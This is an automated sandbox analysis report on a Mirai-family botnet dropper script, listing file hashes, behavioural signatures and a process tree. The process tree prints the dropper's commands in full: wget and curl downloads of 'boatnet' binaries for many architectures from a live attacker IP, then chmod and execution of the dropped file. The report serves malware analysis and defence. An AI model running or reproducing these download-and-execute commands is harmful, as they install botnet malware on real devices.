Analysis

  • max time kernel
    123s
  • max time network
    156s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30-12-2024 16:46

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    7e24e03c8d6c1bafbc85a32aa065853f

  • SHA1

    1399f7b9e79afa7fb910eb61f8e7d10b36c64310

  • SHA256

    938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c

  • SHA512

    0975c2aaae90e309467a37d38bdb48790c56c7efdfe9ad82a69c93d8cd2d25f4eee4e741222b1d455e04913e69380d52f81efe6c1b025e9ef1fd872a0fcac521

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:698
    • /usr/bin/wget
      wget http://154.216.17.216/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:701
    • /usr/bin/curl
      curl -O http://154.216.17.216/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:719
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:728
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-ce7c6e8a3a3f4152b6b47b0b826ed39e-systemd-timedated.service-yPwfTg WTF
        2⤵
        • File and Directory Permissions Modification
        PID:729
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:730
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:732
      • /usr/bin/curl
        curl -O http://154.216.17.216/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:733
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:745
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh WTF
        2⤵
        • File and Directory Permissions Modification
        PID:746
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:747
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:751
      • /usr/bin/curl
        curl -O http://154.216.17.216/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:766
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:778
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
          2⤵
          • File and Directory Permissions Modification
          PID:779
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:781
        • /usr/bin/wget
          wget http://154.216.17.216/hiddenbin/boatnet.i468
          2⤵
            PID:785
          • /usr/bin/curl
            curl -O http://154.216.17.216/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:790
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:796
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF
              2⤵
              • File and Directory Permissions Modification
              PID:797
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:798
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.i686
              2⤵
                PID:799
              • /usr/bin/curl
                curl -O http://154.216.17.216/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:800
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:801
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:802
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:803
                • /usr/bin/wget
                  wget http://154.216.17.216/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:804
                  • /usr/bin/curl
                    curl -O http://154.216.17.216/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:805
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:838
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:839
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:840
                    • /usr/bin/wget
                      wget http://154.216.17.216/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:841
                    • /usr/bin/curl
                      curl -O http://154.216.17.216/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:842
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:843
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:844
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:845
                      • /usr/bin/wget
                        wget http://154.216.17.216/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:847
                      • /usr/bin/curl
                        curl -O http://154.216.17.216/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:848
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:849
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:850
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:851
                        • /usr/bin/wget
                          wget http://154.216.17.216/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:853
                        • /usr/bin/curl
                          curl -O http://154.216.17.216/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:854
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:855
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:856
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:857
                          • /usr/bin/wget
                            wget http://154.216.17.216/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:859
                          • /usr/bin/curl
                            curl -O http://154.216.17.216/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:860
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:861
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:862
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:863
                            • /usr/bin/wget
                              wget http://154.216.17.216/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:865
                            • /usr/bin/curl
                              curl -O http://154.216.17.216/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:866
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:867
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:868
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:869
                              • /usr/bin/wget
                                wget http://154.216.17.216/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:871
                              • /usr/bin/curl
                                curl -O http://154.216.17.216/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                PID:877

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/WTF

                              Filesize

                              31KB

                              MD5

                              2af268efed968357e391ab576fc973c4

                              SHA1

                              90d2eb946f39110a1a1768de197d5b2592c32906

                              SHA256

                              6f4b2ca72110e08f4a14ccfe634cfe7296914e8e8c65e4de037d3c85f40101ae

                              SHA512

                              753e6159a6085f846ad7bc6cddf5d0eae592351ada2b344fdbd8c0ce2b6981746b579085f373634adcbd29668cf9ce1979fa7a5f58f05f5bbee6f5405e52c4f1

                            • /tmp/WTF

                              Filesize

                              105KB

                              MD5

                              020cb00eb1f2f8f09e6cf30dd27bb1c6

                              SHA1

                              9a744d247de056b9fdad94358b106082724b25c7

                              SHA256

                              8c4ddaa55221339a69d91cca9c22f1018306bd2bdd721c6b0564d7308d41ca7d

                              SHA512

                              82c32f182f8547660168ef76f82e00b4029da2604b67a6b463578cdbd925faf906ef1973bd1607d3216d8f39d2c2bf625acb738c7017852223602e1455872810

                            • /tmp/WTF

                              Filesize

                              220B

                              MD5

                              f1c24d9fa40a047ae22d2d3ae7dfeac9

                              SHA1

                              750274b02d5f5b00026a4f55b020f4285c693533

                              SHA256

                              219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                              SHA512

                              36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                            • /tmp/WTF

                              Filesize

                              220B

                              MD5

                              a8f502a6fb3b7b940e922c951d9e493a

                              SHA1

                              fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                              SHA256

                              748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                              SHA512

                              e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                            • /tmp/WTF

                              Filesize

                              55KB

                              MD5

                              70642c98ccbfa71a3304777137766d79

                              SHA1

                              bb0daf5567654b7c9fe2857555106bc15f4d3ec8

                              SHA256

                              57f3497dad4a83ff52ea99689e6846d1517b76cc53b4e713aa05ae780d352048

                              SHA512

                              f64818ce02cefccab32899477108a891b432da76fac4b98fb7a3b471213830a1da150e3dd01a93a932b8d82c4cc8cb264b2906b3aab89a32bd9336e7fb41c18c

                            • /tmp/boatnet.x86

                              Filesize

                              28KB

                              MD5

                              d2610e796559edd586be4f3cfea659da

                              SHA1

                              67ac4e25ed9856b839f2b11c32e758766a140e23

                              SHA256

                              75754fcc1c6ecbdee1bc04eb2e4a986d6fb12a63e8a6b663a012ff41b031aef6

                              SHA512

                              910228016a57f6c76fcf29e7bd0a4d79a6772cda30489b99d9a10b92a00f56fc6829b35460ee09bc99c9fa7dc9607763dd01f39c0730c9975988c595c58bdf7a